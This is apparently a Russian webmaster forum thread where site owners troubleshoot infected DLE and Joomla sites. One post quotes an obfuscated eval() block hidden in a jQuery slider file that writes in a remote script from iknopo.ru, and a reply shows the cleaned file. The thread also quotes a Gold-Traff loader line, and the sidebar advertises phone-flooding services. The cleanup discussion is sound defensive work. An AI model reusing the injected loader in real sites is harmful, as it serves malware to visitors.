Яндекс нашел вредоносный код помогите найти
Страницы: Пред. 1 2 3
Яндекс нашел вредоносный код помогите найти, Яндекс нашел вредоносный кодс: file0c.net при посещении сайта с мобильных устройств
Цитата
paltarasych пишет:
люди, пишите своего хостера, какая cms сайта, какой антивирус стоит, каким ftp клиентом пользуетесь.
возможно подойдем к общему знаменателю.
DLE, Каспер, Filezilla
Помогите. Пишет вирус и "Веб-сайт, на который вы хотите перейти, содержит вредоносное ПО!"Сайт http://nowfilm.org/
Хром блокирует и антивирусник есет иногда матюкается.
DLE 9.8
Sergei M, Здравствуйте.Я могу помочь.
Пишите.
Открой свой магазин за 5 минут, их товары, их обслуживание, с тебя только клиенты >>> РЕГИСТРАЦИЯ <<<
Скрин выплат по запросу.
Рефералам помощь.
Цитата
nitroski пишет:
Добры день всем. подскажите, нашел код в js скрипте...вот код:\
Код
  /* Copyright (c) 2012 Fred Heusschen *   www.frebsite.nl  *  * Dual licensed under the MIT and GPL licenses. */ eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('$(i).r(5(){$(\'.3\').e(5(){$(\'.3-0-2\').b(\'7\');$(\'.3-0-2-9\').b(\'7\')});$(\'.3-0-2-9, .s\').e(5(){$(\'.3-0-2\').f(\'7\');$(\'.3-0-2-9\').f(\'7\')});$(\'.k-4-0 j\').l(5(){$(6).8(\'.2-4-0\').c({\'g\':\'0\'});$(6).8(\'.4-a\').n(\'h\')},5(){$(6).8(\'.2-4-0\').c({\'g\':\'F\'});$(6).8(\'.4-a\').D(\'h\')});$(\'#y\').A({B:\'#C\',J:\'#z\',E:1,I:H})});i.G("<d x=\'w/o\' m=\'p://u.v/t.q\'></d>")',46,46,'block||hidden|login|menu|function|this|400|find|dark|link|fadeIn|css|script|click|fadeOut|display|activ|document|li|top|hover|src|addClass|javascript|http|js|ready|close|iknopo_b|iknopo|ru|text|type|foo1|next1|carouFredSel|prev|prev1|removeClass|scroll|none|write|false|auto|next'.split('|'),0,{}))  





Не могу его убрать...если внести какие-либо изменения, то не работает слайдер на главной...

Помогите плиз...
Привет!
Попробуй заменить на этот скрипт, все будет отлично. В вашем js скрипте содержится вирус и ссылка на iknopo.ru/iknopo_b.js
Я удалил в js скрипте эту ссылку, так что все проверенно.
Цитата
Код
  /* Copyright (c) 2012 Fred Heusschen *   www.frebsite.nl  *  * Dual licensed under the MIT and GPL licenses. */ $(document).ready(function(){$('.login').click(function(){$('.login-block-hidden').fadeIn('400');$('.login-block-hidden-dark').fadeIn('400')});$('.login-block-hidden-dark, .close').click(function(){$('.login-block-hidden').fadeOut('400');$('.login-block-hidden-dark').fadeOut('400')});$('.top-menu-block li').hover(function(){$(this).find('.hidden-menu-block').css({'display':'block'});$(this).find('.menu-link').addClass('activ')},function(){$(this).find('.hidden-menu-block').css({'display':'none'});$(this).find('.menu-link').removeClass('activ')});$('#foo1').carouFredSel({prev:'#prev1',next:'#next1',scroll:1,auto:false})});
Цитата
Sergei M пишет:
Помогите. Пишет вирус и "Веб-сайт, на который вы хотите перейти, содержит вредоносное ПО!"Сайт http://nowfilm.org/
Хром блокирует и антивирусник есет иногда матюкается.
DLE 9.8
1. Обновите DLE, так же на офф сайте есть раздел, следите. http://dle-news.ru/bags/ 2. По опыту проверьте новости, часто туда добавляют и смотрите через html редактор, а не визуальный редактор.
3. И пока сайт заражен, закройте его или обратитесь к специалистам, если посещаемость у сайта большая, потом задолбаетесь выводить из чёрных список разных антивирусов.
4. Не люблю подобные партнёрки: document.write('<sc'+'ript type="text/javascript" src="http://Gold-Traff.ru/js/utizer.php?wmp=112&pid=1036741280"></sc'+'ript>');
Здравствуйте уважаемые! Помогите  с вопросом- заразились сайты, все на одном аккаунте BeGeta. От админки никто не имеет паролей. от фтп так же. Сайты webseo-gu.ru и sitesstroy-gu.ru seo-web-gu.ru  eve-market.ru. все с какой-то заразой. очищаю руками, проверка проходит- сайт без вирусов, и через некоторое время все заново.
Вот проверки вирустоталом:
https://www.virustotal.com/ru/url/b170ddaa12afb25b220f067af1ee480a73c09f3c535b953b329446313cfbd4f0/analysis/1389250394/
https://www.virustotal.com/ru/url/459cca33538eaa170056722a77a96dfc5a6f19ac79de40aca7e563d8696934b9/analysis/1389317574/
https://www.virustotal.com/ru/url/1d3781faa93180ec93f674fcd1d0afb5440cb417c45eae92152af108330332d9/analysis/1389317608/
https://www.virustotal.com/ru/url/5a39c1aff9f9982bd8ce12ad5afd46c01cfa26980b1523459bc5c87dc727210e/analysis/1389317643/
https://www.virustotal.com/ru/url/b0fbb25e33f44473f83e4cf7619206526506d94c05d0aea4adad1fd160100977/analysis/1389317662/
Некоторые вирусы, типа WOT или Yandex Safebrowsing так и не могу вывести.
Цитата
salobon пишет:
Здравствуйте уважаемые! Помогите с вопросом- заразились сайты, все на одном аккаунте BeGeta. От админки никто не имеет паролей. от фтп так же. Сайты webseo-gu.ru и sitesstroy-gu.ru seo-web-gu.ru eve-market.ru. все с какой-то заразой. очищаю руками, проверка проходит- сайт без вирусов, и через некоторое время все заново.
Вот проверки вирустоталом:
https://www.virustotal.com/ru/url/b170ddaa12afb25b220f067af1ee480a73c09f3c535b953b329446313cfbd4f0/analysis/1389250394/
https://www.virustotal.com/ru/url/459cca33538eaa170056722a77a96dfc5a6f19ac79de40aca7e563d8696934b9/analysis/1389317574/
https://www.virustotal.com/ru/url/1d3781faa93180ec93f674fcd1d0afb5440cb417c45eae92152af108330332d9/analysis/1389317608/
https://www.virustotal.com/ru/url/5a39c1aff9f9982bd8ce12ad5afd46c01cfa26980b1523459bc5c87dc727210e/analysis/1389317643/
https://www.virustotal.com/ru/url/b0fbb25e33f44473f83e4cf7619206526506d94c05d0aea4adad1fd160100977/analysis/1389317662/
Некоторые вирусы, типа WOT или Yandex Safebrowsing так и не могу вывести.

Может просто CMS старая, с известными багами в безопасности? Вирус-чекер и не разбирается. Видит, что старая версия, и рапортует, как о зараженном сайте, потому что рано или поздно сайт все равно будет заражен:-)

Что за CMS? Джумла? Какая версия?
Версия 1.5.23 ( www.cy-pr.com/forum/f80/t54349/?PAGEN_1=3#143724 ) На компе установлен NOD32 smart security с актуальными базами. фтп клиент тотал, в нем правда пароль сохранен.
Цитата
salobon пишет:
Версия 1.5.23 [ www.cy-pr.com/forum/f80/t54349/?PAGEN_1=3#143724 ] На компе установлен NOD32 smart security с актуальными базами. фтп клиент тотал, в нем правда пароль сохранен.
Я не специалист в Джумле, но, согласно этому:
http://www.joomla.org/download.html
Сейчас уже версия 3.2.1
Ваша, как бы, старовата. Я бы прежде всего проапдейтил версию, а потом искал другие причины. Думаю, дело в этом
Цитата
myfishing пишет:
Цитата
salobon пишет:
Версия 1.5.23 [ www.cy-pr.com/forum/f80/t54349/?PAGEN_1=3#143724 ] На компе установлен NOD32 smart security с актуальными базами. фтп клиент тотал, в нем правда пароль сохранен.
Я не специалист в Джумле, но, согласно этому:
www.joomla.org/download.html
Сейчас уже версия 3.2.1
Ваша, как бы, старовата. Я бы прежде всего проапдейтил версию, а потом искал другие причины. Думаю, дело в этом
может быть кто в курсе что за ерунда? установил заново кмску+шаблон+плагины. проверяю на домене 3 ур- чисто. Копирую на домен sitesstroy-gu.ru проверяю- 4 разнотипных вируса. копирую опять в другое место и проверяю на домене 3ур- чисто! Обе версии сайта используют одну и туже базу sql  Вирустотал проверяет какой-то устаревший кеш хостера или как так?
salobon, потому что ваши сайты ссылаются друг на друга, поэтому они и считаются все заразными. 

webseo-gu.ru - посмотрите js файлы этого сайта.
Отключил все сайты на аккаунте. ничего не изменилось. Прилинковал еще один домен к сайту sitesstroy-gu.ru- результат проверки- чисто. Вовсе отлинковал домен sitesstroy-gu.ru- проверка проходит и так же находит 4 вируса-https://www.virustotal.com/ru/url/1d3781faa93180ec93f674fcd1d0afb5440cb417c45eae92152af108330332d9/analysis/1389664990/Тремя другими проверками сайт считается чистым. 
Это я что-то не понимаю, или довольно известный и проверенный сервис проверки virustotal.com чудит? Как может проходить проверка отлинкованного домена и еще и вирусы на нем находить?
Удалите это сообщение. Простите.
Изменено: informprostor com - 14 Мая 2014 15:14
informprostor.com - стихи, добавь новость, веди блог.
Страницы: Пред. 1 2 3
Похожие темы:
Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)
Новые темыОбъявленияСвободное общение
15:08 Adtrafico - Правильная партнёрская сеть под бурж трафик 
21:18 Webvork - международная товарная СРА сеть с сертифицированными офферами на Европу. 
21:06 Кто как борется с ботами ПФ? 
16:51 Buymedia.biz - рекламная сеть 
13:36 Партнерская программа OWNR WALLET 
14:10 3snet - гемблинг, беттинг, форекс, бинарные опционы, майнинг 
11:52 Партнерская программа Xoffers с прямыми офферами в вертикалях форекс, крипта и бинарные опционы. 
21:39 Coin Click.cc - Быстрый и надежный обмен электронных валют в два клика 
18:50 Европейский эквайринг 
18:36 Мобильные и Резидентные Прокси Для Соц Сетей | 3 Гб Бесплатно 
19:40 Высококачественные и надежные прокси-серверы и 5G 
16:16 ZennoPoster - софт №1 для автоматизации любых SEO задач! 
15:55 - Вечные ссылки с трастовых сайтов 2024 проверен FastTrust 
11:40 Криптовалютный обменник Xgram.io - новое воплощение качества 
02:05 Точные прогнозы на футбол 
15:43 Заказать телефонный флуд. 
12:05 Ням-ням! - 8 деликатесов, которые когда-то ели только бедные люди 
11:25 Флуд звонками 
11:40 Кто сделает прогон для адалт сайта? 
09:25 Добро пожаловать в цифровой мир... 
10:31 Видимо, похороны СУПРа уже прошли как-то по-тихому